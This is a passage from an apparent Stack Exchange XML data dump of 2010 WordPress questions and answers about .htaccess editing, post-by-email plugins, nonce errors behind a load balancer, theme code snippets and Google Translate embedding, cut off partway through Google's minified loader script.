  <row Id="1891" PostTypeId="2" ParentId="1890" CreationDate="2010-09-16T11:01:04.147" Score="1" ViewCount="" Body="&lt;p&gt;Many hosts offer cPanel, which includes a File Manager. You can open the file from there. You may need to check that it's showing hidden file types. &lt;/p&gt;&#xA;" OwnerUserId="319" LastActivityDate="2010-09-16T11:01:04.147" CommentCount="1" />
  <row Id="1892" PostTypeId="1" AcceptedAnswerId="1897" CreationDate="2010-09-16T11:28:13.273" Score="1" ViewCount="82" Body="&lt;p&gt;A standard WordPress installation has very basic support for &lt;a href=&quot;http://codex.wordpress.org/Post_to_your_blog_using_email&quot; rel=&quot;nofollow&quot;&gt;posting via e-mail&lt;/a&gt;. Is there a plugin that gives &lt;a href=&quot;http://en.support.wordpress.com/post-by-email/&quot; rel=&quot;nofollow&quot;&gt;the same functionality as WordPress.com&lt;/a&gt; (especially attachment handling)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client is in love with Posterous, and I could set up &lt;a href=&quot;http://posterous.com/help/autopost&quot; rel=&quot;nofollow&quot;&gt;the XML-RPC bridge&lt;/a&gt; so new posts go to WordPress, but I'd rather stay in WordPress so I could add advanced handling of custom post types and taxonomies myself once we get the basics running.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-16T19:38:55.843" Title="Post-by-mail similar to WordPress.com or Posterous?" Tags="&lt;plugin-recommendation&gt;&lt;posts&gt;&lt;wordpress.com&gt;&lt;email&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1893" PostTypeId="2" ParentId="1890" CreationDate="2010-09-16T14:43:24.073" Score="3" ViewCount="" Body="&lt;p&gt;Here are a couple of options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-htaccess-control/&quot; rel=&quot;nofollow&quot;&gt;WP htaccess Control&lt;/a&gt; - will let you manually edit your &lt;code&gt;.htaccess&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.adesblog.com/2008/07/29/wp-plugin-all-in-one-htaccess-plugin/&quot; rel=&quot;nofollow&quot;&gt;All-in-one htaccess Plugin&lt;/a&gt; - will let you dynamically create an &lt;code&gt;.htaccess&lt;/code&gt; file based on which modules/features you want set up&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;When all else fails, &lt;a href=&quot;http://www.google.com/search?client=safari&amp;amp;rls=en&amp;amp;q=wordpress+htaccess+plugin&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&quot; rel=&quot;nofollow&quot;&gt;turn to Google&lt;/a&gt; ...&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-16T14:43:24.073" CommentCount="1" />
  <row Id="1894" PostTypeId="1" AcceptedAnswerId="1895" CreationDate="2010-09-16T15:02:48.350" Score="2" ViewCount="123" Body="&lt;p&gt;I have a wordpress MU (3.0.1) setup (upgraded from 2.9.2). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It runs on 4 instances, load balanced, and all 4 connect to same database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when only one instance is running, it is working fine... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run multiple instances, I am not able to trash or undo trash or even do any change in settings .. I get this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Are you sure you want to do this?&#xA;&#xA;Please try again.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the URL when this occurs is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;mblogs.com/testblog/wp-admin/post.php?post=9&amp;action=trash&amp;_wpnonce=8f5a697d1e&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be the issue and how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2010-09-16T15:30:35.310" Title="Weird Issue with load balanced WP 3.0 setup" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="1895" PostTypeId="2" ParentId="1894" CreationDate="2010-09-16T15:30:35.310" Score="2" ViewCount="" Body="&lt;p&gt;Likely this is result of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/check_admin_referer&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;check_admin_referer()&lt;/code&gt;&lt;/a&gt; function not recognizing your request as coming from admin area. Since your query clearly contains &lt;a href=&quot;http://codex.wordpress.org/Wordpress_Nonce_Implementation&quot; rel=&quot;nofollow&quot;&gt;nonce&lt;/a&gt; it is likely what is not being recognized.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nonces can be locked down in many ways. They are &lt;strong&gt;unique to the WordPress install&lt;/strong&gt;, to the WordPress user, to the action, to the object of the action, and to the time of the action (24 hour window). That means that if any of these things changes, the nonce is invalid. ( &lt;a href=&quot;http://markjaquith.wordpress.com/2006/06/02/wordpress-203-nonces/&quot; rel=&quot;nofollow&quot;&gt;Mark Jaquith&lt;/a&gt; )&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My theory is that your load-balanced installs don't count as same install for the purpose of generating nonce. If possible try to limit admin area to single server and see if that helps.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-09-16T15:30:35.310" CommentCount="4" />
  <row Id="1896" PostTypeId="2" ParentId="1567" CreationDate="2010-09-16T16:06:46.637" Score="20" ViewCount="" Body="&lt;h2&gt;Loading jQuery from the Google CDN&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// even more smart jquery inclusion :)&#xA;add_action( 'init', 'jquery_register' );&#xA;&#xA;// register from google and for footer&#xA;function jquery_register() {&#xA;&#xA;if ( !is_admin() ) {&#xA;&#xA;    wp_deregister_script( 'jquery' );&#xA;    wp_register_script( 'jquery', ( 'https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js' ), false, null, true );&#xA;    wp_enqueue_script( 'jquery' );&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Remove the WordPress Version Info for Security&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// remove version info from head and feeds&#xA;function complete_version_removal() {&#xA;    return '';&#xA;}&#xA;add_filter('the_generator', 'complete_version_removal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Add Spam &amp;amp; Delete Links to Comments on Front End&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it way easier to manage comments from the front end by adding spam and delete links.**&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// spam &amp;amp; delete links for all versions of wordpress&#xA;function delete_comment_link($id) {&#xA;    if (current_user_can('edit_post')) {&#xA;        echo '| &amp;lt;a href=&quot;'.get_bloginfo('wpurl').'/wp-admin/comment.php?action=cdc&amp;amp;c='.$id.'&quot;&amp;gt;del&amp;lt;/a&amp;gt; ';&#xA;        echo '| &amp;lt;a href=&quot;'.get_bloginfo('wpurl').'/wp-admin/comment.php?action=cdc&amp;amp;dt=spam&amp;amp;c='.$id.'&quot;&amp;gt;spam&amp;lt;/a&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Delay the public posting to RSS Feed&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I like to delay posting to my RSS feeds for 10-15 minutes because I always find at least a couple errors in my text. Other uses are in case you want content to be exclusive to your site for a day or a week before pushing it out to your RSS readers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// delay feed update&#xA;function publish_later_on_feed($where) {&#xA;    global $wpdb;&#xA;&#xA;    if (is_feed()) {&#xA;        // timestamp in WP-format&#xA;        $now = gmdate('Y-m-d H:i:s');&#xA;&#xA;        // value for wait; + device&#xA;        $wait = '10'; // integer&#xA;&#xA;        // http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampdiff&#xA;        $device = 'MINUTE'; // MINUTE, HOUR, DAY, WEEK, MONTH, YEAR&#xA;&#xA;        // add SQL-sytax to default $where&#xA;        $where .= &quot; AND TIMESTAMPDIFF($device, $wpdb-&amp;gt;posts.post_date_gmt, '$now') &amp;gt; $wait &quot;;&#xA;    }&#xA;    return $where;&#xA;}&#xA;add_filter('posts_where', 'publish_later_on_feed');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="472" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-25T23:13:39.060" LastActivityDate="2011-02-25T23:13:39.060" CommunityOwnedDate="2010-09-16T16:06:46.637" CommentCount="8" />
  <row Id="1897" PostTypeId="2" ParentId="1892" CreationDate="2010-09-16T16:07:05.513" Score="4" ViewCount="" Body="&lt;p&gt;Try Postie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/postie/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/postie/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has lots of features (including handling attachments and inline images)&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2010-09-16T16:07:05.513" CommentCount="1" />
  <row Id="1898" PostTypeId="2" ParentId="559" CreationDate="2010-09-16T16:12:06.660" Score="1" ViewCount="" Body="&lt;p&gt;Did you check if wp-cron is running ? How often is your site is &quot;visited&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest using the Postie Plugin, instead using the one that comes default. Postie has tons of features and you can add your post-email processing as a hook.&lt;/p&gt;&#xA;" OwnerUserId="93" LastActivityDate="2010-09-16T16:12:06.660" CommentCount="1" />
  <row Id="1899" PostTypeId="2" ParentId="1890" CreationDate="2010-09-16T16:18:52.750" Score="0" ViewCount="" Body="&lt;p&gt;Within the versions of cPanel I am familiar with there is a .htaccess specific editor under the Advanced Tools menu.&lt;/p&gt;&#xA;" OwnerUserId="514" LastActivityDate="2010-09-16T16:18:52.750" />
  <row Id="1900" PostTypeId="1" CreationDate="2010-09-16T18:07:32.787" Score="3" ViewCount="213" Body="&lt;p&gt;I would like to add a link to the caption of a photo in one of my posts. I can type in the HTML for the link in the caption, but when I publish the post the link gets removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do you add a link to a caption?&lt;/strong&gt; This would be really useful for giving photo credit.&lt;/p&gt;&#xA;" OwnerUserId="905" LastActivityDate="2010-12-05T09:45:50.157" Title="How to add a link in a image's caption?" Tags="&lt;images&gt;&lt;links&gt;&lt;captions&gt;&lt;linking&gt;" AnswerCount="3" />
  <row Id="1901" PostTypeId="1" AcceptedAnswerId="1914" CreationDate="2010-09-16T18:24:41.967" Score="1" ViewCount="68" Body="&lt;p&gt;Before I found out about the ability to add a meta box (with custom post meta selections) to the page and post editor, I was (and still am to a degree) using categories to define custom post meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to make a post nofollow, or noindex, I created a category called nofollow and another called noindex and assigned one or both of those categories to a post or page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in my header.php file, I'd do an in_category test in order to write the appropriate meta tags to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (in_category('noindex') &amp;amp;&amp;amp; in_category('nofollow')){?&amp;gt;&#xA;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&amp;gt;&#xA;&amp;lt;?php}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have custom categories for things like &quot;Disable Adsense for this page&quot;, &quot;Don't Show Image Attachments for this Page&quot;, &quot;Hide this page from menus&quot;, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now that I've decided to move away from using categories where I should be using custom post meta, The above code in header.php instead becomes...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    if (get_post_meta( $post-&amp;gt;ID, '_noindex', true ) &amp;amp;&amp;amp; get_post_meta( $post-&amp;gt;ID, '_nofollow', true )){&amp;gt;?&#xA;    &amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that's my plan, but now I have the problem of upgrading sites that use the old means of defining custom post options via the category assignments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need a routing that goes about reassigning the category values to custom post meta values for each post and page in the site I'm upgrading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just looking for some quick advice on how to go about this and possibly some code hints on the neccessary routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is a theme that can be updated, as part of the update process, I'd like to run a script one time, when the theme is first installed, (or the user clicks my upgrader utility) that runs through the options table and for every instance of one of my custom category assignments, it creates the requisite custom meta assignment for that post or page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if a post currently belongs to the &quot;Hidden&quot; category, it would be assigned to the &quot;_hidden&quot; post meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully I've explained this well enough. I appreciate any insights you can provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps its as simple as a series of custom SQL statements that run for each possible category assignment?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-09-16T18:30:56.897" LastActivityDate="2010-09-17T06:20:40.040" Title="Need advice &gt; converting category assignments to custom post meta values" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="1902" PostTypeId="2" ParentId="1900" CreationDate="2010-09-16T19:24:52.060" Score="0" ViewCount="" Body="&lt;p&gt;Do you want the link under the photo, on top of the photo, or when you click the photo is goes to the caption?&lt;/p&gt;&#xA;" OwnerUserId="752" LastActivityDate="2010-09-16T19:24:52.060" CommentCount="1" />
  <row Id="1903" PostTypeId="1" CreationDate="2010-09-16T19:29:42.630" Score="1" ViewCount="283" Body="&lt;p&gt;Is this plugin good to use on a large site with many products or should I look for another solution? I am concerned with the security as well the ability to scale. Anyone have any experience dealing with this plugin for sites with many products? &lt;/p&gt;&#xA;" OwnerUserId="752" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:33:30.737" LastActivityDate="2011-01-31T09:33:30.737" Title="Can the WP e-Commerce Plugin Support a Large Number of Products?" Tags="&lt;plugin-recommendation&gt;&lt;e-commerce&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="1905" PostTypeId="1" AcceptedAnswerId="1912" CreationDate="2010-09-16T20:04:08.583" Score="0" ViewCount="972" Body="&lt;p&gt;I am aware of the question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/725/what-are-options-are-there-to-implement-a-multi-language-site&quot;&gt;What are options are there to implement a multi language site&lt;/a&gt;, but the answers there are focused on multi-language support on the backend as well as the frontend. I am only concerned with offering multi-language viewing of a site's content, not multi-language content creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be as simple as putting the &lt;a href=&quot;http://translate.google.com/translate_tools&quot; rel=&quot;nofollow&quot;&gt;Google Translate Tools&lt;/a&gt; code on my site? I see that there are at least &lt;a href=&quot;http://wordpress.org/extend/plugins/google-ajax-translation/&quot; rel=&quot;nofollow&quot;&gt;a&lt;/a&gt; &lt;a href=&quot;http://wordpress.org/extend/plugins/global-translator/&quot; rel=&quot;nofollow&quot;&gt;couple&lt;/a&gt; of plugins that offer this functionality - anyone have experience with those?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-09-22T15:44:13.723" Title="How can I make a site viewable in multiple languages?" Tags="&lt;multi-language&gt;&lt;google-translate&gt;&lt;accessibility&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="1906" PostTypeId="2" ParentId="1890" CreationDate="2010-09-16T20:12:15.597" Score="0" ViewCount="" Body="&lt;p&gt;There is the &lt;a href=&quot;http://www.askapache.com/wordpress/htaccess-password-protect.html&quot; rel=&quot;nofollow&quot;&gt;AskApache Password Protection&lt;/a&gt; plugin (&lt;a href=&quot;http://wordpress.org/extend/plugins/askapache-password-protect/Blockquote&quot; rel=&quot;nofollow&quot;&gt;Worpress repository&lt;/a&gt;), which, from their site&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;adds some serious password protection to your WordPress Blog. Not only does it protect your wp-admin directory, but also your wp-includes, wp-content, plugins, etc. plugins as well.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The plugin is simple, you just choose a username and password and you are done. It writes the .htaccess file, without messing it up. It also encrypts your password and creates the .htpasswd file, as well as setting the correct security-enhanced file permissions on both.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-09-16T20:12:15.597" />
  <row Id="1907" PostTypeId="1" CreationDate="2010-09-16T20:47:32.927" Score="2" ViewCount="108" Body="&lt;p&gt;I use the Members plugin to manage permissions on my site. For standard templates, it works great - when the user doesn't have permission to see a page, they get the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry, but you do not have permission to view this content.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I make sure I still get this message in my custom templates? Which tag do I need to include?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT.&lt;/strong&gt; Template source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Stats&#xA;*/&#xA;?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php&#xA;get_header();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;contentwrapper&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;topPost&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;topTitle&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&quot;topContent&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Listeners are counted every minute. The green line is the &amp;lt;b&amp;gt;maximum&amp;lt;/b&amp;gt; during any given time period. The red area is the &amp;lt;b&amp;gt;average&amp;lt;/b&amp;gt; number of listeners during the same time period.&amp;lt;/p&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Listeners over the last hour&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;img class=&quot;alignnone&quot; title=&quot;Listeners over the last hour&quot; src=&quot;&amp;lt;?php echo get_graph(60,60); ?&amp;gt;&quot; alt=&quot;&quot; width=&quot;481&quot; height=&quot;149&quot; /&amp;gt;&#xA;      &amp;lt;hr/&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Listeners over the last day&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;img class=&quot;alignnone&quot; title=&quot;Listeners over the last day&quot; src=&quot;&amp;lt;?php echo get_graph(3600,24); ?&amp;gt;&quot; alt=&quot;&quot; width=&quot;481&quot; height=&quot;149&quot; /&amp;gt;&#xA;      &amp;lt;hr/&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Listeners over the last week&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;img class=&quot;alignnone&quot; title=&quot;Listeners over the last week&quot; src=&quot;&amp;lt;?php echo get_graph(86400,7); ?&amp;gt;&quot; alt=&quot;&quot; width=&quot;481&quot; height=&quot;149&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;cleared&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;cleared&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt; &amp;lt;!-- Closes topPost --&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- Closes contentwrapper--&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;cleared&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- Closes Main --&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: The purpose of this template is to act as a front end for a shell script. Any content on the database is irrelevant, so there's no loop. (Though including a dummy loop didn't seem to help.)&lt;/p&gt;&#xA;" OwnerUserId="562" LastEditorUserId="562" LastEditorDisplayName="" LastEditDate="2010-09-17T23:33:44.363" LastActivityDate="2010-09-18T08:00:18.430" Title="How can I make my custom templates respect permissions?" Tags="&lt;template&gt;&lt;permissions&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="1908" PostTypeId="2" ParentId="1905" CreationDate="2010-09-16T22:05:35.960" Score="0" ViewCount="" Body="&lt;p&gt;I'm using qTranslate plugin for a project that i'm developing and i'm really happy with the results.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.qianqin.de/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;http://www.qianqin.de/qtranslate/&lt;/a&gt;&#xA;http://wordpress.org/extend/plugins/qtranslate/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2010-09-16T22:05:35.960" />
  <row Id="1909" PostTypeId="2" ParentId="1903" CreationDate="2010-09-17T01:02:52.877" Score="5" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.instinct.co.nz/e-commerce/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP e-Commerce&lt;/strong&gt;&lt;/a&gt; is probably the best you are going to get while still keeping within the confines of WordPress.  Keep in mind WordPress was designed originally for blogging, but it has expanded to do so much more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a really big store it is probably a good idea to go to dedicated store software like &lt;a href=&quot;http://www.magentocommerce.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Magento&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;http://www.oscommerce.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;OS Commerce&lt;/strong&gt;&lt;/a&gt;.  If you want to start out with WP e-Commerce it should not be all that hard to move to another store with all your products once you outgrow WP e-Commerce.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Edit&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I came across this question that may be of interest to you:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1177/&quot;&gt;&lt;strong&gt;Scaling a WP eCommerce site?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="98" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-21T09:12:08.340" LastActivityDate="2010-10-21T09:12:08.340" CommentCount="3" />
  <row Id="1910" PostTypeId="1" CreationDate="2010-09-17T03:16:33.760" Score="1" ViewCount="186" Body="&lt;p&gt;Is there a plugin to turn normal wordpress posts is something like digg? with up / down votes, the small thumb, title and a short description.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-27T20:52:53.760" Title="Any plugin to turn wp post into digg looking post?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;customization&gt;&lt;modifications&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1911" PostTypeId="2" ParentId="1807" CreationDate="2010-09-17T04:16:47.290" Score="0" ViewCount="" Body="&lt;p&gt;If your just going to be showing images &lt;a href=&quot;http://jquery.malsup.com/cycle/&quot; rel=&quot;nofollow&quot;&gt;jQuery Cycle&lt;/a&gt; is the way to go.  It is very light and you simply call the js in your theme then wrap your images in a div ie:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;pics&quot;&amp;gt; &#xA;    &amp;lt;img src=&quot;images/beach1.jpg&quot; width=&quot;200&quot; height=&quot;200&quot; /&amp;gt; &#xA;    &amp;lt;img src=&quot;images/beach2.jpg&quot; width=&quot;200&quot; height=&quot;200&quot; /&amp;gt; &#xA;    &amp;lt;img src=&quot;images/beach3.jpg&quot; width=&quot;200&quot; height=&quot;200&quot; /&amp;gt; &#xA;&amp;lt;/div&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add the call in your footer ie:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;    $('.pics').cycle('fade'); &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your looking for a simple slider that calls posts by category and can be embedded in a post, page, or widget using shortcodes check out my &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-coda-slider/&quot; rel=&quot;nofollow&quot;&gt;WP Coda Slider Plugin&lt;/a&gt; that I recently released.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-17T04:16:47.290" />
  <row Id="1912" PostTypeId="2" ParentId="1905" CreationDate="2010-09-17T04:32:37.587" Score="2" ViewCount="" Body="&lt;p&gt;If your just looking for a way for your site to be viewed in other languages I would defiantly recommend using Google Translate Tools.  I just add it to the theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;google_translate_element&quot;&amp;gt;&amp;lt;span id=&quot;trans&quot;&amp;gt;Translate: &amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can hide the Google Logo and funky colors in your css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.goog-logo-link{display:none;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of calling the Google Translate js I just copy the return script and add it to my main js file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google provides &lt;a href=&quot;http://translate.google.com/translate_tools&quot; rel=&quot;nofollow&quot;&gt;embed code&lt;/a&gt; to use on your website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div id=&quot;google_translate_element&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;script&amp;gt;&#xA;function googleTranslateElementInit() {&#xA;  new google.translate.TranslateElement({&#xA;    pageLanguage: 'en',&#xA;    layout: google.translate.TranslateElement.InlineLayout.SIMPLE&#xA;  }, 'google_translate_element');&#xA;}&#xA;&amp;lt;/script&amp;gt;&amp;lt;script src=&quot;//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first line: &lt;code&gt;&amp;lt;div id=&quot;google_translate_element&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; can be placed where you want the translate drop down box to be shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/7VgGB.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The section between the first set of &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags are the language and layout options.  The last set of &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags call more javascript which Google inserts inline in your html while the dom is loading.  To speed up this process and avoid the extra http request and inline script I remove the last call and add the code returned by Google into a &quot;master&quot; js file I use that contains all my custom javascript combined into one file.  The code that Google returns is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function(){var d=window,e=document;function f(b){var a=e.getElementsByTagName(&quot;head&quot;)[0];a||(a=e.body.parentNode.appendChild(e.createElement(&quot;head&quot;)));a.appendChild(b)}function _loadJs(b){var a=e.createElement(&quot;script&quot;);a.type=&quot;text/javascript&quot;;a.charset=&quot;UTF-8&quot;;a.src=b;f(a)}function _loadCss(b){var 